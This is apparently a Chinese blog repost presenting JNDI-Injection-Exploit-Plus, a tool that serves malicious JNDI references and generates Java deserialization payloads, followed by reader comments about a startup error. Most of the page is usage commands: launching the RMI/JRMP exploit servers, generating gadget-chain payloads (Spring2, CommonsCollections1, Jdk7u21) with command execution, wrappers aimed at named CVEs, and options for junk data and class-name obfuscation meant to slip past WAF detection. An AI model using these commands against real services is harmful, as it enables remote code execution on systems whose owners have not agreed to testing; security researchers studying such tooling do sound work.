目录导航
JNDI-Injection-Exploit-Plus简介
JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。
详细说明
是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务。
根据JNDI的三种触发点,提供3种JNDI利用方式
- 远程Reference链 (3种)
- 本地Reference链 (4种)
- 反序列化链(75种)
P.S. 具体利用链名称及依赖见 表格
使用方法
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
参数说明
-C - 要执行的命令.
(可选 , 默认命令 "open /Applications/Calculator.app")
-A - 运行此工具的主机IP地址.
(可选 , 默认是第一个网卡的地址)
示例
- 运行工具
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
- 触发JNDI注入
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}

是一款反序列化Payload生成工具
包含50+ Gadgets链,比ysoserial还多出10+,后续会持续补充,欢迎大家一起来提交。
使用方法
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
参数说明
-C - 要执行的命令.
(可选 , 默认命令 "open /Applications/Calculator.app")
-D - 要生成的反序列化链名字,见Github列表.
-O - (可选) 输出格式,base64或16进制, 默认是16进制
示例
- 普通
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

- JRMP
- JRMPListener
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
- JRMPClient
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
提供反序列化包装器
| 包装器 | 示例漏洞 |
|---|---|
| Xstream | CVE-2021-39149 |
| Apereo | Apereo 4.1 反序列化漏洞 |
| JbossRemoting | Jboss Remoting 服务反序列化 |
| Gzip | 用友组件的一些接口使用Gzip |
| Dirty | 插入大量脏数据来绕过WAF检测 |
- 示例
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

混淆
混淆class名字来绕过WAF
- Example
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
参考链接:https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
可以返回反序列化数据的web服务
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}output={base64/hex}P.S. 参数 wrapper & output 是可选的

总结
JNDI-Injection-Exploit-Plus 主要有JNDI注入和生成反序列化链 2个用途,其中包含的利用链更多。详情请移步项目地址:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
喜欢的同学别忘了点个star。 ^_^
参考链接
- https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/frohoff/ysoserial
下载地址
GitHub:
JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
转载请注明出处及链接

你好,需要什么java版本,我试了8和21
报错
\JNDI\JNDI-2.5>java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A “172.21.1.38”
Exception in thread “main” java.net.BindException: Address already in use: JVM_Bind
at java.net.DualStackPlainSocketImpl.bind0(Native Method)
at java.net.DualStackPlainSocketImpl.socketBind(DualStackPlainSocketImpl.java:102)
at java.net.AbstractPlainSocketImpl.bind(AbstractPlainSocketImpl.java:513)
at java.net.PlainSocketImpl.bind(PlainSocketImpl.java:180)
at java.net.ServerSocket.bind(ServerSocket.java:375)
at java.net.ServerSocket.(ServerSocket.java:237)
at java.net.ServerSocket.(ServerSocket.java:128)
at javax.net.DefaultServerSocketFactory.createServerSocket(ServerSocketFactory.java:218)
at jndi.RMIRefServer.(RMIRefServer.java:81)
at run.ServerStart.(ServerStart.java:144)
at run.ServerStart.main(ServerStart.java:92)
为什么压缩包里面没有哪个jar文件咧
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/download/2.5/JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar